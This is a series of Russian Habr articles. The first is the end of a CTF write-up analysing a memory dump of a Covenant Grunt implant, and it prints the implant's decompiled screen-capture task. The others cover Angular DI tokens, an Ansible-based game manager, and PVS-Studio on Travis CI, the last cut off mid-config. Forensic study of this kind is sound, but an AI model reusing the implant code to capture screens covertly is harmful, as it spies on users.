Сразу же выделяется одна деталь: весь сеанс составляет 630Кб. Похоже, что здесь была передана программа. Я постарался найти среди огромных блоков текста какие-нибудь полезные данные, но они, скорее всего, зашифрованы.
Здесь немного полезной информации, просто перехваченные пакеты, показывающие скачивание чего-то зашифрованного.
### Анализ дампа
Это файла дампа Windows, поэтому мы его проанализируем с помощью `WinDbg`.

Для анализа программы .NET сначала нужно установить [*netext*](https://github.com/rodneyviana/netext).
```
0:000> .load netext
```
### Дамп кода
Сначала нам необходимо проверить выполняющийся код. Для этого потребуется сделать его дамп.
```
0:000> !wmodule -managed -saveto C:\Users\IEUser\Downloads\net\dump
Saved 'C:\Users\IEUser\Downloads\net\dump\Grunt.exe' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.Windows.Forms.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.Drawing.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.Xml.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.Configuration.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.Core.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\System.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\mscorlib.ni.dll' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\ta2521lw.nbq, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\if3vizgz.gue, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\EILxxsbDHTbdXhkqQNppeCxDtWdOB, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\q2foozwn.pi1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' successfully
Saved 'C:\Users\IEUser\Downloads\net\dump\OUZWwjnRdRpuqIqXtbtAdEDpAmRDA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' successfully
```
Как всегда при работе с программами .NET скачиваем не системные файлы в `dnSpy`.
*EILxxsbDHTbdXhkqQNppeCxDtWdOB.dll*
Это просто пустая dll.
*kxwieowc.bru.exe*
У этого исполняемого файла есть точка входа в `GruntStager.GruntStager.Main`. Через Google выясняем, что это, скорее всего, [Covenant](https://github.com/cobbr/Covenant) Grunt – развертываемый на целях имплант.
Похоже, что он проделывает немало работы для скачивания сборки и ее загрузки с помощью `Assembly.Load(aes2.CreateDecryptor()...`.
*if3vizgz.gue.dll*
Здесь находится библиотека [*SharpSploit*](https://github.com/cobbr/SharpSploit), используемая для [выполнения кода Powershell](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Execution/Shell.cs).
*OUZWwjnRdRpuqIqXtbtAdEDpAmRDA.dll*
Просто пустая dll.
*q2foozwn.pi1.dll*
А вот эта dll содержит интересный атрибут:
```
[module: ConfusedBy("Confuser.Core 1.1.0-alpha1.52+gfe12a44191")]
```
Получается, этот исполняемый файл защищен *[ConfuserEx](https://github.com/yck1509/ConfuserEx)*, поддержка которого была прекращена. Раз он под защитой, то добраться до него можно через дамп памяти.
```
public static class Task
{
// Token: 0x06000035 RID: 53 RVA: 0x000033CC File Offset: 0x000015CC
public static string Execute()
{
string result;
try
{
int left = SystemInformation.VirtualScreen.Left;
int top = SystemInformation.VirtualScreen.Top;
int width = SystemInformation.VirtualScreen.Width;
int height = SystemInformation.VirtualScreen.Height;
using (Bitmap bitmap = new Bitmap(width, height))
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(left, top, 0, 0, bitmap.Size);
}
MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
result = Convert.ToBase64String(memoryStream.ToArray());
```
Не удивительно, что эта часть была защищена. Похоже, здесь у нас задача для Grunt – сделать скриншот и вернуть его. Посмотрим, удастся ли найти этот скриншот в `dmp`.
*ta2521lw.nbq.dll*
Это основной `GruntExecutor`, который только взаимодействует с другими Grunt'ами, сам при этом ничего интересного не делая.
### Анализ памяти
Часть 1/2
Мы знаем, что флаги представлены, как минимум, в формате `*_*_*`. Почему бы тогда не проверить, не находится ли он уже в памяти.
Для начала выполним:
```
0:000> !windex
```
В результате *netext* сможет проиндексировать все объекты в памяти, готовые для наших запросов, после чего можно будет начать поиск возможного флага.
```
0:000> !wfrom -type System.String where ( $wildcardmatch($string(), "*_*_*") ) select $addr(), $string()
...
calculated: cmd.exe /c echo "part 1/2: when_you_see_sharp_"
```
Здесь было много ложных результатов, но я думаю, что это его первая часть.
Часть 2/2
До этого мы видели задачу по снятию скриншота, который, готов поспорить, и был флагом. Вопрос лишь в том, как получить изображение?
Оно находится в `System.Drawing.Bitmap`, значит стоит поискать его в памяти.
```
0:000> !windex -type System.Drawing.Bitmap
Index is up to date
If you believe it is not, use !windex -flush to force reindex
Address MT Size Heap Gen Type Name
0000000002620fd8 00007ffd6140bed8 48 0 0 System.Drawing.Bitmap
1 Objects listed
```
Мы видим, что в памяти находится всего один точечный рисунок, который, скорее всего, и является искомым скриншотом.
```
0:000> !wdo 0000000002620fd8
Address: 0000000002620fd8
Method Table/Token: 00007ffd6140bed8/200000e04
Class Name: System.Drawing.Bitmap
Size : 48
EEClass: 00007ffd61412fd0
Instance Fields: 4
Static Fields: 1
Total Fields: 5
Heap/Generation: 0/0
Module: 00007ffd61400000
Assembly: 0000000000a0d3a0
Domain: 0000000000947110
Assembly Name: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
Inherits: System.Drawing.Image System.MarshalByRefObject System.Object (00007FFD6140B798 00007FFD6AC3AB68 00007FFD6AC35DD8)
00007ffd6ac35dd8 System.Object +0000 __identity 0000000000000000
00007ffd6ac3aaa0 System.Byte[] +0008 rawData 0000000000000000
00007ffd6ac35dd8 System.Object +0010 userData 0000000000000000
00007ffd6acb31f8 System.IntPtr +0018 nativeImage 0 (0n0)
00007ffd6140ac20 Static System.Drawing.Color +0050 defaultTransparentColor -mt 00007FFD6140AC20 000000001243B188
```
Тем не менее, если посмотреть дамп этого изображения, то нам не удастся найти способ получить фактические данные.
Попробуем отыскать этот рисунок в памяти с помощью классического инструмента, `binwalk`.
```
$ binwalk --dd='.*' step_into_the_net.dmp
```
Здесь у нас несколько изображений, покопавшись в которых я нашел `83AABA`, который содержит вторую часть флага.

Решено
------
Совмещая эти две строки, получаем решение:
```
when_you_see_sharp_those_hackers_dont_stand_a_chance
```
Когда ты наблюдателен, у хакеров не остается шансов
Заключение
----------
Это был весьма интересный вызов по криминалистической экспертизе. Дамп Windows мне еще анализировать не доводилось, так что пришлось знакомиться с несколькими новыми инструментами. Большое спасибо MetaCTF за предоставление такого испытания.
[](https://ruvds.com/ru-rub/news/read/151?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=ispytanie_po_kriminalisticheskoj_ekspertize_dampa_.net) | https://habr.com/ru/post/598573/ | null | ru | null |
# Глобальные объекты в Angular
В JavaScript мы часто используем сущности вроде `window`, `navigator`, `requestAnimationFrame` или `location`. Некоторые из этих объектов существуют испокон веков, некоторые — часть вечно растущего набора Web API. Возможно, вы встречали класс `Location` или токен `DOCUMENT` в Angular. Давайте обсудим, для чего они нужны и чему мы можем у них научиться, чтобы сделать наш код чище и более гибким.
DOCUMENT
--------
`DOCUMENT` — это токен из общего пакета Angular. Вот как можно им воспользоваться. Вместо этого:
```
constructor(private readonly elementRef: ElementRef) {}
get isFocused(): boolean {
return document.activeElement === this.elementRef.nativeElement;
}
```
Можно написать так:
```
constructor(
@Inject(ElementRef) private readonly elementRef: ElementRef,
@Inject(DOCUMENT) private readonly documentRef: Document,
) {}
get isFocused(): boolean {
return this.documentRef.activeElement === this.elementRef.nativeElement;
}
```
В первом примере мы обратились к глобальной переменной напрямую. Во втором внедрили ее как зависимость в конструктор.
Я не собираюсь бросаться в вас модными акронимами или утверждать, что первый пример нарушает тот или иной принцип программирования. По правде сказать, я в этой теории не сильно подкован.
Вместо этого я покажу, почему подход с токеном лучше. Начнем с того, что посмотрим, откуда берется этот токен. В его объявлении в *@angular/common* нет ничего особенного:
```
export const DOCUMENT = new InjectionToken('DocumentToken');
```
Внутри *@angular/platform-browser*, однако, мы видим, как он получает свое значение *(пример упрощенный)*:
```
{provide: DOCUMENT, useValue: document}
```
Когда вы добавляете `BrowserModule` в `app.browser.module.ts`, вы регистрируете [целую кучу имплементаций](https://github.com/angular/angular/blob/master/packages/platform-browser/src/browser.ts) для токенов, таких как `RendererFactory2`, `Sanitizer`, `EventManager` и наш `DOCUMENT`. Почему так? Потому что Angular — это кросс-платформенный фреймворк. Он оперирует абстракциями и активно использует механизм внедрения зависимостей для того, чтобы работать в браузере, на сервере и на мобильных устройствах. Чтобы разобраться, давайте заглянем в `ServerModule` — ещё одну платформу, доступную из коробки *(пример упрощенный)*:
```
{provide: DOCUMENT, useFactory: _document, deps: [Injector]},
// ...
function _document(injector: Injector) {
const config = injector.get(INITIAL_CONFIG);
const window = domino.createWindow(config.document, config.url);
return window.document;
}
```
Мы видим, что там используется [domino](https://www.npmjs.com/package/domino) для создания имитации документа на основе конфига, взятого из DI. Именно это вы получите, если запустите Angular Universal для рендеринга приложения на сервере. Мы уже видим первый и самый важный плюс данного подхода. Работа с `DOCUMENT` возможна в SSR-окружении, в то время как глобальный `document` в нем отсутствует.
Другие глобальные сущности
--------------------------
Что ж, команда Angular позаботилась о `document` для нас, это здорово. Но что, если мы хотим, например, проверить браузер через строку [userAgent](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorID/userAgent)? Для этого мы обычно обращаемся к `navigator.userAgent`. На самом же деле это означает, что сначала мы запрашиваем глобальный объект, `window` в случае браузера, и потом берем его поле `navigator`. Так что давайте начнем с токена `WINDOW`. Его довольно просто реализовать благодаря фабрике, которую можно добавить к созданию токена:
```
export const WINDOW = new InjectionToken(
'An abstraction over global window object',
{
factory: () => inject(DOCUMENT).defaultView!
},
);
```
Этого достаточно, чтобы начать использовать `WINDOW` по аналогии с `DOCUMENT`. Теперь используем тот же подход для создания `NAVIGATOR`:
```
export const NAVIGATOR = new InjectionToken(
'An abstraction over window.navigator object',
{
factory: () => inject(WINDOW).navigator,
},
);
```
> *Мы шагнем дальше и сделаем отдельный токен под* `USER_AGENT` *тем же способом. Зачем? Увидим позже!*
>
>
Иногда одного токена недостаточно. `Location` из Angular — это, по сути, обертка над `location` для упрощения работы с ним. Поскольку мы привыкли к RxJS, давайте заменим `requestAnimationFrame` на реализацию в виде `Observable`:
```
export const ANIMATION_FRAME = new InjectionToken<
Observable
>(
'Shared Observable based on `window.requestAnimationFrame`',
{
factory: () => {
const performanceRef = inject(PERFORMANCE);
return interval(0, animationFrameScheduler).pipe(
map(() => performanceRef.now()),
share(),
);
},
},
);
```
Мы пропустили создание `PERFORMANCE`, потому что оно следует той же модели. Теперь у нас есть один общий стрим, основанный на `requestAnimationFrame`, который можно использовать по всему приложению. После того как мы заменили всё на токены, наши компоненты больше не полагаются на волшебным образом доступные сущности и получают всё, от чего они зависят, из DI. Классно!
Server Side Rendering
---------------------
Теперь, допустим, мы хотим написать `window.matchMedia('(prefers-color-scheme: dark)')`.
Конечно, на сервере в нашем `WINDOW` что-то да есть, но оно, безусловно, не поддерживает весь API объекта `Window`. Если мы попробуем сделать данный вызов в SSR, скорее всего, получим ошибку `undefined is not a function`. Один способ решить проблему — обернуть все подобные вызовы в проверку `isPlatformBrowser`, но это скукота. Преимущество DI в том, что значения можно переопределять. Так что вместо особой обработки таких случаев мы можем предоставить безопасный муляж `WINDOW` в `app.server.module.ts`, который защитит нас от несуществующих свойств.
Это демонстрирует еще одно достоинство данного подхода: значение токена можно менять. Благодаря этому тестировать код, зависящий от браузерного API, становится очень просто. Особенно если вы используете [Jest](https://jestjs.io/), в котором нативный API по большей части отсутствует. Но муляж — это просто заглушка. Иногда мы можем подложить что-то осмысленное. В SSR-окружении у нас есть объект запроса, который содержит данные о user agent. Для этого мы и вынесли его в отдельный токен — иногда его можно заполучить отдельно. Вот как мы можем превратить запрос в провайдер:
```
function provideUserAgent(req: Request): ValueProvider {
return {
provide: USER_AGENT,
useValue: req.headers['user-agent'],
};
}
```
А затем добавим его в `server.ts`, когда будем настраивать Angular Universal:
```
server.get('*', (req, res) => {
res.render(indexHtml, {
req,
providers: [
{provide: APP_BASE_HREF, useValue: req.baseUrl},
provideUserAgent(req),
],
});
});
```
Node.js так же имеет собственную имплементацию `Performance`, которую можно использовать на сервере:
```
{
provide: PERFORMANCE,
useFactory: performanceFactory,
}
// ...
export function performanceFactory(): Performance {
return require('perf_hooks').performance;
}
```
Однако в случае `requestAnimationFrame` он нам не понадобится. Скорее всего, мы не хотим гонять наши `Observable`-цепочки впустую на сервере, так что просто подложим в DI `EMPTY`:
```
{
provide: ANIMATION_FRAME,
useValue: EMPTY,
}
```
Следуя данной схеме, мы можем «токенизировать» все глобальные объекты в нашем приложении и предоставить замены для различных платформ, на которых мы его запускаем.
Подытожим
---------
С таким подходом ваш код становится хорошо абстрагированным. Даже если вы не используете серверный рендеринг сейчас, возможно, он понадобится в будущем и вы будете к этому готовы. Кроме того, тестировать код гораздо легче, если все зависимости можно подменить. Мы создали крошечную библиотеку с токенами, которые используем сами:
ng-web-apis/common[github.com](https://github.com/ng-web-apis/common)Если вам требуется что-то, чего в ней еще нет, — не стесняйтесь заводить issue на «Гитхабе». Также у пакета есть напарник с версиями этих токенов под SSR:
ng-web-apis/universal[github.com](https://github.com/ng-web-apis/universal)
> *Вы можете изучить этот* [*проект по вселенной Rick and Morty*](https://github.com/IKatsuba/ngx-ssr/tree/master/apps/rickandmorty) *от моего коллеги* [*Игоря*](https://twitter.com/katsuba_igor)*, чтобы увидеть это все в действии. Если вам в особенности интересен Angular Universal, прочитайте* [*его статью*](https://habr.com/ru/company/tinkoff/blog/547520/) *о проблемах, с которыми он столкнулся, и как их решить.*
>
>
Благодаря данному подходу наша библиотека Angular-компонентов [Taiga UI](http://taiga-ui.dev/) без труда запустилась и под Angular Universal, и под Ionic. Надеюсь, что эти знания помогут и вам! | https://habr.com/ru/post/548510/ | null | ru | null |
# Универсальный менеджер приложений (игр)
Любителям Linux-like систем наверняка приходилось устанавливать приложения по найденным руководствам в сети. В итоге описание оказывалось устаревшим/нерабочим, и для получения конечного результата приходилось собирать по крупицам и сводить воедино сведения из различных источников для "похожих" ОС. Иногда вам везло и все заводилось с первого раза.
Либо пытались поиграть в свою любимую игру детства, где для запуска важно установить нужную версию Wine с правильными настройками, или пошаманить с монтированием образов в Dosbox...
Предлагается очередной способ решения подобных проблем.
Для игр существует, конечно, единственный правильный способ — установка Windows на отдельный диск. Но в мире насчитывается [1.3 миллиарда PC-геймеров](https://newzoo.com/insights/articles/newzoo-games-market-numbers-revenues-and-audience-2020-2023/). Из них — [пользователи MacOS (3%) и Linux (1%)](https://www.phoronix.com/scan.php?page=news_item&px=Steam-2019-January-Stats) — 50 миллионов человек. Поэтому эта статья для них.
Сегодня существует огромное разнообразие средств, упрощающих установку и запуск игр и, скорее всего, вы уже нашли все любимые игры детства на Steam и давно наслаждаетесь ими в своем Ubuntu. Но не все так просто. Например, любителей старых Point-n-Click адвенчур ждет разочарование: очень многих шедевров нет в наличии ни у одного дистрибьютора (*distributor*) видеоигр.
Дистрибьюторов можно условно разделить на:
Универсальные:
* Steam — сервис цифровой дистрибуции, изначально для игр и апдейтов от Valve, но позже расширен и для других разработчиков;
* GOG — платформа дистрибуции видеоигр и фильмов, подразделение CD Project (которые Ведьмак и Cyberpunk), расположенное в Польше;
* Humble Store — онлайн магазин игр.
Узко-специальные:
* Origin — игры Electronic Arts;
* Uplay — игры Ubisoft;
* Epic Games Store — игры Epic Games;
* Blizzard’s Battle.net — игры Blizzard.
Дружественнее всех зарекомендовал себя GOG. Именно они предоставляют игры в т.н. DRM-free формате. Но, в последнее время, их инициатива с Galaxy клиентом тоже попахивает неудобствами и привязками.
Все основные дистрибьюторы поставляют собственные мульти-платформенные клиенты.
Разнообразие клиентов породило дополнительную прослойку абстракции для конечных пользователей — т.н. менеджеров игр (game managers). Вот самые известные из них:
* PlayOnLinux/BSD/Mac
* Lutris
* Homura
Менеджеры игр, в свою очередь, используют т.н. запускатели (*runners*) для запуска на конечном устройстве пользователя, иногда с дополнительными прослойками (например, Vulkan для Wine).
Основные запускатели:
* Wine — эмулятор Windows
* Dosbox — эмулятор DOS
* ScummVM — виртуальная машина для многих старых квестов
* Эмуляторы консолей
#### PlayOnLinux/BSD/Mac
Пациент скорее мертв. Судя по активности на github, четвертая версия давно мертва, а пятая никогда не родится. Хотя, кто его знает...
Достоинства:
* Приличная база поддерживаемого софта и игр.
Недостатки:
* Оборачивает исключительно Wine;
* Кодовая база не обновляется;
* Вся логика построена на полусотне функций адового bash-скриптинга;
* Новые скрипты принимаются через веб-форму (ссылку на сайте найти не удалось).
#### Lutris
На сегодняшний день — лидер и стандарт для Linux.
Достоинства:
* Ansible-like скриптинг;
* Добавление игр из gog и steam аккаунтов одним кликом.
Недостатки:
* Вся база с играми вынесена на отдельный полузакрытый сервер;
* Неудобная форма для добавления новых скриптов (нет версионности и т.п., решение по добавлению выносит непонятный комитет);
* Поддержка только Linux;
* Создает отдельный Wine-префикс для каждой новой игры (а они довольно увесисты);
* Нет клиентского API, отсюда UI довольно уныл;
* Нет возможности установки из образов (актуально для старых игр).
#### Homura
Пошли по граблям Lutris-а, сделали решение исключительно под одну ОС (в данном случае FreeBSD), адовый bash-скриптинг внутри, при этом небольшая база с играми. Также непонятно с добавлением игр.
Разработаем свою собственную систему, удовлетворяющую следующим критериям:
* Расширяемость;
* Гибкость;
* Функциональность;
* Кроссплатформенность.
В первую очередь, необходимо избавиться от недостатков существующих решений, для этого реализуем следующий функционал:
* Удобство добавления новых игр\приложений. Любой пользователь может без труда добавить поддержку нового софта через github репозиторий;
* Отказ от серверной части. База с приложениями должна быть частью самого менеджера и обновляться вместе с ним;
* Предоставление удобного API\CLI для создания сторонних UI;
* Отделение изменяемых данных (например, save-ов для игр) от остальных ресурсов приложения;
* Предоставление базовой возможности инсталляции с медиа-носителя. Важно для редких старых игр, которых не найти через онлайн дистрибьюторов, зато относительно легко найти их медиа-образы;
* Никакой черной магии в скриптах, каждый шаг должен быть понятен без изучения исходников.
Нечто способное объединить и заменить apt в Ubuntu и pkg в FreeBSD (и при этом еще обладать возможностями Lutris).
Предлагается реализовать всю систему на базе Ansible и его мощной скриптовой поддержкой в виде плей-буков (playbooks). Почему Ansible? Хотя бы потому, что для достижения всех вышеназванных целей вам в любом случае придется разработать свой собственный Ansible-like движок, а это весьма затратно по времени.
Полученное решение ([yag](https://github.com/rayrapetyan/yag)) выложено в свободный доступ на github.
Рассмотрим примеры добавления новых игр в базу.
#### [Ace Ventura Pet Detective](http://questzone.ru/enzi/game/20)
Старая, мультяшная Point-n-Click адвенчура. Распространялась на 1CD.
Для добавление поддержки создаем папку в ports/games со следующей структурой:
```
aceventura:
tasks:
install_image.yml
main.yml
run.yml
info.yml
```
Структура остается на усмотрение автора, обязательными являются лишь info.yml (описание игры) и main.yml (точка входа). Код можете посмотреть в [репозитории](https://github.com/rayrapetyan/yag/tree/master/acme/ports/games/aceventura), опишу лишь суть.
Установка производиться с помощью команды:
```
yag install aceventura --source=/path/to/CD1.iso
```
В install\_image.yml передается путь к образу (/path/to/CD1.iso), где производится распаковка и копирование. Источником может быть как исполнимый файл с GOG-а (конкретно этой игры там нет), так и любой другой формат носителя.
Запуск:
```
yag run aceventura
```
Игра требует наличия save-ов в основной папке, поэтому запускающий скрипт (run.yml) копирует save-ы из постоянного хранилища и запускает wine с правильными параметрами. При выходе новые save-ы копируются обратно в хранилище. За сейвами во всех играх нужно внимательно следить и не забывать их сохранять (save your saves), создавая символические ссылки там, где это возможно. Также для запуска именно этой игры нужно включить virtual desktop:
```
- wine:
exec: "{{ app_folder }}/Ace.exe"
virtual_desktop: "800x600"
```
Обо всех поддерживаемых параметрах модуля wine читайте [здесь](https://github.com/rayrapetyan/yag/blob/master/docs/runners/wine.md).
#### [Bad Mojo (redux)](http://questzone.ru/enzi/game/676)
Тоже классика, в которой вам предлагается вжиться в роль милой букашки.
Структура папок аналогична первому примеру:
```
badmojo_redux:
tasks:
main.yml
run.yml
install_image.yml
install_innosetup.yml
templates:
BADMOJO.j2
vars:
main.yml
info.yml
```
Здесь уже поддерживается несколько вариантов установки:
```
yag install badmojo_redux --source=/path/to/CD.iso
```
* запустит install\_image.yml (распаковка CD образа)
```
yag install badmojo_redux --source=/path/to/badmojo_gog_setup.exe
```
* запустит install\_innosetup.yml (распаковка GOG-овского innosetup exe-шника).
Игра требует точного указания путей к ресурсам, поэтому создаем Jinja-совместимый шаблон конфига ([BADMOJO.j2](https://github.com/rayrapetyan/yag/blob/master/acme/ports/games/badmojo_redux/templates/BADMOJO.j2)).
Запуск:
```
yag run badmojo_redux
```
Как видите, внутри скриптов нам доступна вся мощь Ansible, к тому же мы можем спокойно дописывать свои модули.
Другие примеры можно посмотреть [здесь](https://github.com/rayrapetyan/yag/tree/master/acme/ports)
#### Недостатки
И все-таки Ansible — это в первую очередь про развертывание микросервисов на "тысячах нод". Использовать его для локальной установки игр, а тем более заменять им apt/pkg, с одной стороны, забивание гвоздей микроскопом, но с другой, если вся необходимая функциональность имеется — почему бы и нет? Более того, недостаток может легко превратиться в достоинство при реализации, например, онлайн сервиса видеоигр, где развертывание приложений на удаленные сервера станет необходимостью (кстати, если кто-то умеет звук\видео в VNC — пишите в личку, есть идея для неплохого стартапа).
Следствие главного недостатка — задержки при выполнении скриптов. Не критично при инсталляции, но может раздражать при запуске.
Также для добавления новых приложений требуется опыт в написании Ansible-playbooks. Но этого не избежать в любом подобном менеджере. А здесь вы хотя бы сможете применить полученные знания в другой области (к примеру, устроиться на работу в сферу devops).
#### Возможности
Описанный подход открывает много возможностей. Выше упоминалось о полноценной замене apt/pkg во всех дистрибутивах всех ОС. Согласитесь, было бы здорово, если бы, например, для установки Skype вам не пришлось качать deb-файл в Ubuntu, шаманить с pacman в Archlinux или мучиться с эмулятором linux в FreeBSD, а просто выполнить, например:
```
yag install skype
```
и получить одинаковый результат в любой ОС.
При этом все скрипты установки для разных ОС версионированы и поддерживаются в актуальном состоянии сообществом пользователей! А мощь Ansible-playbooks позволяет гибко реализовывать любые механизмы добавления в любой ОС.
Теперь самое важное: если вам понравилась идея, важно чтобы именно вы добавили свою любимую игру\программу в репозиторий, оформив простой PR на [github](https://github.com/rayrapetyan/yag).
Спасибо! | https://habr.com/ru/post/533984/ | null | ru | null |
# PVS-Studio идёт в облака – запуск анализа на Travis CI
На данный момент облачные CI-системы — очень востребованный сервис. В этой статье мы расскажем, как, с помощью уже существующих средств, доступных в PVS-Studio, можно интегрировать анализ исходного кода с облачной CI платформой, на примере сервиса Travis CI.

Почему мы рассматриваем сторонние облака и не делаем собственное? Есть ряд причин, и главная из них, что организация SaaS — это достаточно дорогая и непростая процедура. На самом деле, непосредственно интегрировать анализ PVS-Studio со сторонней облачной платформой (будь то открытые платформы наподобие CircleCI, Travis CI, GitLab, или какое-то специализированное enterprise-решение, используемое только в одной конкретной компании) – задача достаточно простая и тривиальная. То есть можно сказать, что *PVS-Studio уже доступен «в облаках»*. Совсем другой вопрос в организации и предоставлении инфраструктуры для такой работы в режиме 24/7. Это задача совсем другого порядка, и PVS-Studio пока что не планирует предоставлять свою собственную облачную платформу непосредственно для запуска на ней анализа.
Информация об используемом ПО
-----------------------------
[Travis CI](https://travis-ci.org/) – сервис для сборки и тестирования программного обеспечения, использующего GitHub в качестве хранилища. Travis CI не требует изменения программного кода для использования сервиса, все настройки происходят в файле *.travis.yml*, расположенном в корне репозитория.
В качестве тестового проекта для проверки с помощью PVS-Studio мы возьмем [LXC](https://linuxcontainers.org/) (Linux Containers). Это система виртуализации на уровне операционной системы для запуска нескольких экземпляров операционной системы Linux на одном узле.
Проект маленький, но для демонстрации более чем достаточен. Вывод команды cloc:
| | | | | |
| --- | --- | --- | --- | --- |
| Language | files | blank | comment | code |
| C | 124 | 11937 | 6758 | 50836 |
| C/C++ Header | 65 | 1117 | 3676 | 3774 |
**Примечание:** Разработчики LXC уже используют Travis CI, поэтому мы возьмем их конфигурационный файл в качестве основы и отредактируем его для наших целей.
Настройка
---------
Для начала работы с Travis CI переходим [по ссылке](https://travis-ci.com) и аутентифицируемся, используя GitHub-аккаунт.

В открывшемся окне нужно авторизовать Travis CI.

После авторизации происходит перенаправление на приветственную страницу«First time here? Lets get you started!»**,** где кратко описано, что необходимо дальше сделать для начала работы:
* активировать репозитории;
* добавить файл .travis.yml в репозиторий;
* запустить первую сборку.

Начнем выполнять эти пункты.
Для добавления в Travis CI нашего репозитория переходим в настройки профиля [по ссылке](https://travis-ci.com/account/repositories) и нажимаем кнопку «Activate».

После нажатия откроется окно с выбором репозиториев, к которым приложению Travis CI будет предоставлен доступ.
**Примечание:** для предоставления доступа к репозиторию у учетной записи должны быть права администратора на него.

Выбираем нужный репозиторий, подтверждаем выбор кнопкой «Approve & Install», и нас перенаправит обратно на страницу настройки профиля.
Сразу создадим переменные, которые будем использовать для создания файла лицензии анализатора и отсылки его отчетов. Для этого перейдем на страницу настроек — кнопка «Settings» справа от нужного репозитория.

Откроется окно настроек.

Краткое описание настроек:
* Секция «General» – настройка триггеров автозапуска задачи;
* Секция «Auto Cancelation» – позволяет настроить автоотмену сборки;
* Секция «Environment Variables» – позволяет определить переменные окружения, содержащие как открытую, так и конфиденциальную информацию, такие как учетные данные, ssh-ключи;
* Секция «Cron Jobs» – настройка расписания запуска задачи.
В секции «Environment Variables» создадим переменные *PVS\_USERNAME* и *PVS\_KEY*, содержащие, соответственно, имя пользователя и лицензионный ключ для статического анализатора. Если у вас нет постоянной лицензии PVS-Studio, то вы можете [запросить триальную лицензию](https://www.viva64.com/ru/pvs-studio-download/).

Тут же создадим переменные *MAIL\_USER* и *MAIL\_PASSWORD*, содержащие имя пользователя и пароль от почтового ящика, который мы будем использовать для отсылки отчетов.

При запуске задачи Travis CI берет инструкции из файла .travis.yml, лежащего в корне репозитория.
Используя Travis CI, мы можем запускать статический анализ как непосредственно в виртуальной машине, так и использовать для этого предварительно настроенный контейнер. Результаты этих подходов ничем не отличаются друг от друга, но использование предварительно настроенного контейнера может пригодиться, например, если у нас уже есть контейнер с каким-то специфическим окружением, внутри которого собирается и тестируется программный продукт, и нет желания восстанавливать это окружение в Travis CI.
Создадим конфигурацию для запуска анализатора в виртуальной машине.
Для сборки и тестирования мы будем использовать виртуальную машину на базе Ubuntu Trusty, ее описание можно посмотреть [по ссылке](https://docs.travis-ci.com/user/reference/trusty/).
Первым делом указываем, что проект написан на С и перечисляем компиляторы, которые будем использовать для сборки:
```
language: c
compiler:
- gcc
- clang
```
**Примечание**: при указании более одного компилятора, задачи будут запускаться параллельно для каждого из них. Подробнее можно прочитать [в документации](https://docs.travis-ci.com/user/build-matrix/).
Перед началом сборки нам необходимо добавить репозиторий анализатора, установить зависимости и дополнительные пакеты:
```
before_install:
- sudo add-apt-repository ppa:ubuntu-lxc/daily -y
- wget -q -O - https://files.viva64.com/etc/pubkey.txt | sudo apt-key add -
- sudo wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list
- sudo apt-get update -qq
- sudo apt-get install -qq coccinelle parallel
libapparmor-dev libcap-dev libseccomp-dev
python3-dev python3-setuptools docbook2x
libgnutls-dev libselinux1-dev linux-libc-dev pvs-studio
libio-socket-ssl-perl libnet-ssleay-perl sendemail
ca-certificates
```
Перед сборкой проекта необходимо подготовить окружение:
```
script:
- ./coccinelle/run-coccinelle.sh -i
- git diff --exit-code
- export CFLAGS="-Wall -Werror"
- export LDFLAGS="-pthread -lpthread"
- ./autogen.sh
- rm -Rf build
- mkdir build
- cd build
- ../configure --enable-tests --with-distro=unknown
```
Далее нам необходимо создать файл с лицензией и запустить анализ проекта.
Первой командой создаем файл с лицензией для анализатора. Данные для переменных *$PVS\_USERNAME* и *$PVS\_KEY* берутся из настроек проекта.
```
- pvs-studio-analyzer credentials $PVS_USERNAME $PVS_KEY -o PVS-Studio.lic
```
Следующей командой запускаем трассировку сборки проекта:
```
- pvs-studio-analyzer trace -- make -j4
```
После запускаем статический анализ.
**Примечание:** при использовании триальной лицензии необходимо указывать параметр *--disableLicenseExpirationCheck*.
```
- pvs-studio-analyzer analyze -j2 -l PVS-Studio.lic
-o PVS-Studio-${CC}.log
–-disableLicenseExpirationCheck
```
Последней командой файл с результатами работы анализатора конвертируется в html-отчет.
```
- plog-converter -t html PVS-Studio-${CC}.log
-o PVS-Studio-${CC}.html
```
Так как TravisCI не позволяет изменять формат почтовых уведомлений, то для отсылки отчетов на последнем шаге воспользуемся пакетом sendemail:
```
- sendemail -t mail@domain.com
-u "PVS-Studio $CC report, commit:$TRAVIS_COMMIT"
-m "PVS-Studio $CC report, commit:$TRAVIS_COMMIT"
-s smtp.gmail.com:587
-xu $MAIL_USER
-xp $MAIL_PASSWORD
-o tls=yes
-f $MAIL_USER
-a PVS-Studio-${CC}.log PVS-Studio-${CC}.html
```
Полный текст конфигурационного файла для запуска анализатора в виртуальной машине:
```
language: c
compiler:
- gcc
- clang
before_install:
- sudo add-apt-repository ppa:ubuntu-lxc/daily -y
- wget -q -O - https://files.viva64.com/etc/pubkey.txt | sudo apt-key add -
- sudo wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list
- sudo apt-get update -qq
- sudo apt-get install -qq coccinelle parallel
libapparmor-dev libcap-dev libseccomp-dev
